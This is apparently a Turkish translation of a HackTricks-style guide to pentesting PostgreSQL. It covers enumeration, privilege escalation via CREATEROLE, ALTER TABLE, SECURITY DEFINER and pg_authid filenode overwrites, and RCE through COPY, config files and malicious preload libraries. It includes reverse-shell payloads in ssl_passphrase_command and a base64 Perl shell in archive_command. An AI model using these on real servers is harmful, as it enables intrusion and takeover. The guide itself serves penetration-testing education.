5432,5433 - Pentesting Postgresql
Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatik iş akışları oluşturun ve otomatikleştirin. Bugün Erişim Alın:
Temel Bilgiler
PostgreSQL, açık kaynaklı bir nesne ilişkisel veritabanı sistemi olarak tanımlanmaktadır. Bu sistem sadece SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve organizasyonlar için çok yönlü bir seçim yapar.
Varsayılan port: 5432 ve bu port zaten kullanımda ise postgresql muhtemelen kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacaktır.
Bağlanma ve Temel Sıralama
Eğer \list
komutunu çalıştırırken rdsadmin
adında bir veritabanı bulursanız, içinde bir AWS postgresql veritabanı olduğunu bilirsiniz.
Daha fazla bilgi için PostgreSQL veritabanını kötüye kullanma hakkında kontrol edin:
pagePostgreSQL injectionOtomatik Numaralandırma
Port tarama
Bu araştırmaya göre, bir bağlantı denemesi başarısız olduğunda, dblink
bir hata açıklaması içeren sqlclient_unable_to_establish_sqlconnection
istisnası fırlatır. Bu ayrıntıların örnekleri aşağıda listelenmiştir.
Sunucu kapalı
DETAIL: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok Sunucu, "1.2.3.4" ana bilgisayarında çalışıyor mu ve 5678 numaralı bağlantıları kabul ediyor mu?
Port kapalı
Port açık
Port açık veya filtrelenmişdir
Yetkilerin Sıralanması
Roller
Rol Türleri | |
---|---|
rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir |
rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
rolcreaterole | Rol daha fazla rol oluşturabilir |
rolcreatedb | Rol veritabanları oluşturabilir |
rolcanlogin | Rol oturum açabilir. Yani, bu rol başlangıç oturum yetkilendirme kimliği olarak verilebilir |
rolreplication | Rol bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantılarını başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. |
rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız anlamına gelir. |
rolpassword | Parola değil ( |
rolvaliduntil | Parola son kullanma zamanı (yalnızca parola kimlik doğrulaması için kullanılır); süresizse null |
rolbypassrls | Rol her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için Bölüm 5.8'e bakın. |
rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar |
oid | Rol kimliği |
İlginç Gruplar
Eğer
pg_execute_server_program
üyesiyseniz programları çalıştırabilirsinizEğer
pg_read_server_files
üyesiyseniz dosyaları okuyabilirsinizEğer
pg_write_server_files
üyesiyseniz dosyaları yazabilirsiniz
Postgres'te bir kullanıcı, bir grup ve bir rol aynıdır. Sadece nasıl kullandığınıza ve oturum açmasına izin verip vermediğinize bağlıdır.
Tablolar
Fonksiyonlar
Dosya sistemi işlemleri
Dizinler ve dosyaları okuma
Bu commit ile tanımlanan DEFAULT_ROLE_READ_SERVER_FILES
grubunun üyeleri (yani pg_read_server_files
olarak adlandırılan) ve süper kullanıcılar, herhangi bir yol üzerinde COPY
yöntemini kullanabilir (bkz. genfile.c
içindeki convert_and_check_filename
).
Unutmayın ki süper kullanıcı değilseniz ancak CREATEROLE izinlerine sahipseniz kendinizi o gruba üye yapabilirsiniz:
Sadece süper kullanıcılar ve açık izinlere sahip kullanıcılar tarafından kullanılabilen başka postgres fonksiyonları bulunmaktadır:
Basit Dosya Yazma
Yalnızca süper kullanıcılar ve pg_write_server_files
üyeleri kopyalama işlemini kullanarak dosya yazabilirler.
Unutmayın ki eğer süper kullanıcı değilseniz ancak CREATEROLE
izinlerine sahipseniz, kendinizi o gruba üye yapabilirsiniz:
COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü gönderiyor olsanız bile bir satırlık bir komut göndermeniz gerekecektir.
Bu tekniğin çok önemli bir kısıtlaması şudur ki copy
, bazı ikili değerleri değiştirdiği için ikili dosyalar yazmak için kullanılamaz.
İkili dosyaların yüklenmesi
Ancak, büyük ikili dosyaları yüklemek için başka teknikler bulunmaktadır:
pageBig Binary Files Upload (PostgreSQL)Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformuna! Bugün bize https://go.intigriti.com/hacktricks adresinden katılın ve 100.000 $'a kadar ödüller kazanmaya başlayın!
PostgreSQL tablo verilerinin yerel dosya yazma yoluyla güncellenmesi
PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, PostgreSQL veri dizinindeki herhangi bir tabloyu ilişkili dosya düğümünü üzerine yazarak sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin daha fazla bilgi burada.
Gerekli adımlar:
PostgreSQL veri dizinini alın
Not: Ayarlar üzerinden mevcut veri dizini yolunu alamıyorsanız, SELECT version()
sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
şeklindedir. Yaygın bir küme adı main
dir. 2. Hedef tabloyla ilişkili dosya düğümüne göre göreceli bir yol alın
Bu sorgu, base/3/1337
gibi bir şey döndürmelidir. Diskteki tam yol $DATA_DIRECTORY/base/3/1337
, yani /var/lib/postgresql/13/main/base/3/1337
olacaktır. 3. lo_*
fonksiyonları aracılığıyla dosya düğümünü indirin
Hedef tabloyla ilişkili veri türünü alın
PostgreSQL Filenode Editor'ü kullanarak dosya düğümünü düzenleyin; tüm
rol*
boolean bayraklarını tam izinler için 1 olarak ayarlayın.
(İsteğe bağlı olarak) Pahalı bir SQL sorgusu çalıştırarak bellek içi tablo önbelleğini temizleyin
Artık PostgreSQL'de güncellenmiş tablo değerlerini görmelisiniz.
pg_authid
tablosunu düzenleyerek süper yönetici de olabilirsiniz. Aşağıdaki bölüme bakın.
RCE
Programa RCE
9.3 sürümünden itibaren yalnızca süper kullanıcılar ve pg_execute_server_program
grubu üyeleri, RCE için kopyalamayı kullanabilir (veri sızdırma örneğiyle birlikte:
Örnek yürütmek için:
Unutmayın ki süper kullanıcı değilseniz ancak CREATEROLE
izinlerine sahipseniz, kendinizi o gruba üye yapabilirsiniz:
Veya metasploit'ten multi/postgres/postgres_copy_from_program_cmd_exec
modülünü kullanın.
Bu zafiyet hakkında daha fazla bilgiye buradan ulaşabilirsiniz. CVE-2019-9193 olarak bildirilse de, Postges bunun bir özellik olduğunu ve düzeltilmeyeceğini açıkladı.
PostgreSQL Dilleri ile RCE
pageRCE with PostgreSQL LanguagesPostgreSQL uzantıları ile RCE
Önceki yazıdan nasıl ikili dosyalar yükleneceğini öğrendikten sonra PostgreSQL uzantısı yükleyerek RCE elde etmeyi deneyebilirsiniz.
pageRCE with PostgreSQL ExtensionsPostgreSQL yapılandırma dosyası RCE
Aşağıdaki RCE vektörleri özellikle kısıtlanmış SQLi bağlamlarında kullanışlıdır, çünkü tüm adımlar iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebilir.
PostgreSQL'in yapılandırma dosyası, veritabanını çalıştıran postgres kullanıcısı tarafından yazılabilir, bu nedenle süper kullanıcı olarak dosyaları dosya sisteminde yazabilir ve dolayısıyla bu dosyayı üzerine yazabilirsiniz.
ssl_passphrase_command ile RCE
Bu tekniğe ilişkin daha fazla bilgiye buradan ulaşabilirsiniz.
Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler bulunmaktadır:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Veritabanının özel anahtarının yolunu belirtirssl_passphrase_command = ''
Özel dosya şifre ile korunuyorsa, postgresql bu özelliğe belirtilen komutu çalıştıracaktır.ssl_passphrase_command_supports_reload = off
Bu özellik açıksa, anahtar şifre ile korunuyorsa komutpg_reload_conf()
çalıştırıldığında çalıştırılacaktır.
Bu nedenle, bir saldırganın yapması gerekenler:
Sunucudan özel anahtarı dökün
İndirilen özel anahtarı şifreleyin:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Üzerine yazın
Mevcut postgresql yapılandırmasını dökün
Bahsedilen özellikler yapılandırmasıyla yapılandırmayı üzerine yazın:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
pg_reload_conf()
'yi çalıştırın
Bu testi yaparken fark ettiğim bir şey, bu işlemin yalnızca özel anahtar dosyasının 640 ayrıcalığına sahip olması durumunda çalışacağıdır, root tarafından sahiplenilmiş ve ssl-cert veya postgres grubuna ait olduğu (bu nedenle postgres kullanıcısının okuyabileceği) ve /var/lib/postgresql/12/main dizininde bulunduğudur.
archive_command ile RCE
Bu yapılandırmaya ve WAL hakkında daha fazla bilgiye buradan ulaşabilirsiniz.
Saldırıya açık başka bir özellik, archive_command
olarak adlandırılan yapılandırma dosyasındadır.
Bu işlem çalışması için archive_mode
ayarının 'on'
veya 'always'
olması gerekir. Bu doğruysa, archive_command
içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
Genel adımlar şunlardır:
Arşiv modunun etkin olup olmadığını kontrol edin:
SELECT current_setting('archive_mode')
archive_command
'ı payload ile üzerine yazın. Örneğin, ters kabuk için:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Yapılandırmayı yeniden yükleyin:
SELECT pg_reload_conf()
Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: Bazı Postgres sürümleri için
SELECT pg_switch_xlog()
içinSELECT pg_switch_wal()
veya
preload kütüphaneleri ile RCE
Bu tekniğe ilişkin daha fazla bilgiye buradan ulaşabilirsiniz.
Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanır:
session_preload_libraries
-- PostgreSQL sunucusunun istemci bağlantısında yüklenecek kütüphaneler.dynamic_library_path
-- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi.
dynamic_library_path
değerini, veritabanını çalıştıran postgres
kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin /tmp/
dizinine ayarlayabilir ve oraya zararlı bir .so
nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu, yeni yüklenen kütüphaneyi session_preload_libraries
değişkenine dahil ederek yüklemeye zorlayacağız.
Saldırı adımları şunlardır:
Orijinal
postgresql.conf
dosyasını indirindynamic_library_path
değerine/tmp/
dizinini dahil edin, örneğindynamic_library_path = '/tmp:$libdir'
session_preload_libraries
değerine zararlı kütüphane adını dahil edin, örneğinsession_preload_libraries = 'payload.so'
SELECT version()
sorgusu aracılığıyla ana PostgreSQL sürümünü kontrol edinDoğru PostgreSQL geliştirme paketi ile zararlı kütüphane kodunu derleyin Örnek kod:
Kodu derleme:
Adımlar 2-3'te oluşturulan zararlı
postgresql.conf
dosyasını indirin ve orijinalini üzerine yazınAdımda 5'te oluşturulan
payload.so
'yu/tmp
dizinine yükleyinSunucu yapılandırmasını yeniden yükleyerek sunucuyu yeniden başlatın veya
SELECT pg_reload_conf()
sorgusunu çağırarakBir sonraki DB bağlantısında ters kabuk bağlantısını alacaksınız.
Postgres Yetki Yükseltme
CREATEROLE Yetki Yükseltme
Grant
Belgelere göre: CREATEROLE
yetkisine sahip roller, süper kullanıcı olmayan herhangi bir role'e üyelik verip geri alabilir.
Yani, eğer CREATEROLE
izniniz varsa, kendinize diğer roller'e (süper kullanıcı olmayan) erişim izni verebilir ve bu da size dosya okuma & yazma ve komut yürütme seçeneği sunabilir:
Parolayı Değiştir
Bu role sahip kullanıcılar ayrıca diğer süper olmayan kullanıcıların parolalarını da değiştirebilirler:
SUPERUSER'a Yükseltme
Yerel kullanıcıların herhangi bir şifre sağlamadan PostgreSQL'e giriş yapabildiğini sıkça görmek oldukça yaygındır. Dolayısıyla, kod yürütme izinlerini topladığınızda bu izinleri kötüye kullanarak SUPERUSER
rolünü elde edebilirsiniz:
Bu genellikle pg_hba.conf
dosyasındaki aşağıdaki satırlar nedeniyle mümkündür:
ALTER TABLE ayrıcalığı
Bu yazıda Postgres GCP'de privesc yapmanın mümkün olduğu, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl yapılabileceği açıklanmaktadır.
Başka bir kullanıcıyı bir tablonun sahibi yapmaya çalıştığınızda buna engel olan bir hata almanız gerektiği, ancak GCP'nin bu seçeneği GCP'deki süper kullanıcı postgres kullanıcısına verdiği anlaşılmaktadır:
Bu fikri, INSERT/UPDATE/ANALYZE komutlarının bir indeks işlevine sahip bir tabloda çalıştırıldığında, işlevin komutun bir parçası olarak çağrıldığı ve tablonun sahibinin izinleriyle çalıştığı gerçeğiyle birleştirerek düşünebiliriz. Bir fonksiyonla bir indeks oluşturmak ve bu tabloya sahip bir süper kullanıcıya sahip izinler vermek ve ardından sahibin izinlerini kullandığı için komutları yürütebilecek kötü niyetli bir fonksiyonla tabloyu ANALYZE etmek mümkündür.
Sömürü
Yeni bir tablo oluşturarak başlayın.
Tabloya anlamsız içerikler ekleyerek dizin işlevi için veri sağlayın.
Yetkisiz komutların yürütülmesine izin veren bir kod yürütme yükü içeren kötü amaçlı bir dizin işlevi geliştirin.
Tablonun sahibini "cloudsqladmin" olarak DEĞİŞTİRİN, bu, veritabanını yönetmek ve sürdürmek için yalnızca Cloud SQL tarafından kullanılan GCP'nin süper kullanıcı rolüdür.
Tablo üzerinde bir ANALYZE işlemi gerçekleştirin. Bu işlem, PostgreSQL motorunu tablonun sahibi olan "cloudsqladmin" kullanıcı bağlamına geçmeye zorlar. Sonuç olarak, kötü amaçlı dizin işlevi "cloudsqladmin" izinleriyle çağrılır ve bu da önceden izinsiz yürütülen kabuk komutlarının yürütülmesini sağlar.
PostgreSQL'de, bu akış şöyle görünür:
Ardından, shell_commands_results
tablosu yürütülen kodun çıktısını içerecektir:
Yerel Giriş
Bazı yanlış yapılandırılmış postgresql örnekleri, herhangi bir yerel kullanıcının girişine izin verebilir, 127.0.0.1'den dblink
fonksiyonu kullanılarak yerel giriş yapmak mümkündür:
Önceki sorgunun çalışması için dblink
fonksiyonunun var olması gerektiğini unutmayın. Eğer yoksa aşağıdaki komutu kullanarak oluşturabilirsiniz:
Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak o kullanıcı olarak sorguları yürütebilirsiniz:
Bu işlevin var olup olmadığını kontrol etmek mümkündür:
Güvenlik Tanımlayıcısı ile özel tanımlı işlev
Bu yazıda, pentesterlar, IBM tarafından sağlanan bir postgres örneğinde bu işlevi buldukları için içeride bir ayrıcalık yükseltme yapabildiler:
Belgelerde açıklandığı gibi SECURITY DEFINER ile bir işlev, sahibi olan kullanıcının ayrıcalıklarıyla yürütülür. Bu nedenle, işlev SQL Injection'a duyarlı ise veya saldırgan tarafından kontrol edilen parametrelerle ayrıcalıklı işlemler yapıyorsa, postgres içinde ayrıcalıkları yükseltmek için kötüye kullanılabilir.
Önceki kodun 4. satırında işlevin SECURITY DEFINER bayrağı olduğunu görebilirsiniz.
Ve sonra komutları çalıştır:
PL/pgSQL ile Brute Force Geçişi
PL/pgSQL, SQL'e kıyasla daha fazla prosedürel kontrol sunan tam özellikli bir programlama dilidir. Program mantığını geliştirmek için döngüler ve diğer kontrol yapıları kullanımını sağlar. Ayrıca, SQL ifadeleri ve tetikleyiciler, PL/pgSQL dilini kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonuna daha kapsamlı ve esnek bir yaklaşım sağlar. Bu dilin kötüye kullanımıyla PostgreSQL'den kullanıcı kimlik bilgilerini brute force yapmasını isteyebilirsiniz.
pagePL/pgSQL Password BruteforceDahili PostgreSQL Tablolarını Üzerine Yazarak İstek Yükseltme
Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği sınırlı SQLi bağlamlarında özellikle kullanışlıdır.
Eğer PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız, PostgreSQL üzerindeki diskteki dosya düğümünü, dahili pg_authid
tablosu ile ilişkilendirilmiş olanı üzerine yazarak süper kullanıcı olabilirsiniz.
Bu tekniğe daha fazla bilgi için buraya** bakın.**
Saldırı adımları şunlardır:
PostgreSQL veri dizinini elde et
pg_authid
tablosu ile ilişkilendirilmiş dosya düğümüne göre göreceli bir yol elde etlo_*
fonksiyonları aracılığıyla dosya düğümünü indirpg_authid
tablosu ile ilişkilendirilmiş veri türünü alPostgreSQL Dosya Düğümü Düzenleyici'yi kullanarak dosya düğümünü düzenle; tüm
rol*
boolean bayraklarını 1 olarak ayarla ve tam izinler ver.Düzenlenmiş dosya düğümünü
lo_*
fonksiyonları aracılığıyla yeniden yükle ve diskteki orijinal dosyayı üzerine yaz(İsteğe bağlı olarak) Pahalı bir SQL sorgusunu çalıştırarak bellek içi tablo önbelleğini temizle
Artık tam bir süper yönetici ayrıcalıklarına sahip olmalısınız.
POST
günlüğe kaydetme
postgresql.conf dosyası içinde postgresql günlüklerini etkinleştirebilirsiniz, değiştirerek:
Sonra, hizmeti yeniden başlatın.
pgadmin
pgadmin, PostgreSQL için bir yönetim ve geliştirme platformudur. Parolaları pgadmin4.db dosyasının içinde bulabilirsiniz. Onları şu betik içindeki decrypt işlevini kullanarak şifreleyebilirsiniz: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
PostgreSQL'de istemci kimlik doğrulaması pg_hba.conf adlı bir yapılandırma dosyası aracılığıyla yönetilir. Bu dosya, her biri bir bağlantı türünü, istemci IP adresi aralığını (uygulanabilirse), veritabanı adını, kullanıcı adını ve eşleşen bağlantılar için kullanılacak kimlik doğrulama yöntemini belirten bir dizi kayıt içerir. Bağlantı türü, istemci adresi, istenen veritabanı ve kullanıcı adıyla eşleşen ilk kayıt kimlik doğrulaması için kullanılır. Kimlik doğrulaması başarısız olursa geriye dönüş veya yedek yoktur. Eşleşen kayıt yoksa erişim reddedilir.
pg_hba.conf'daki mevcut şifre tabanlı kimlik doğrulama yöntemleri md5, crypt ve password'dur. Bu yöntemler, şifrenin nasıl iletildiğinde farklılık gösterir: MD5-hashed, crypt-encrypted veya açık metin. Önemli bir not olarak, crypt yöntemi pg_authid'de şifrelenmiş şifrelerle kullanılamaz.
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:
Last updated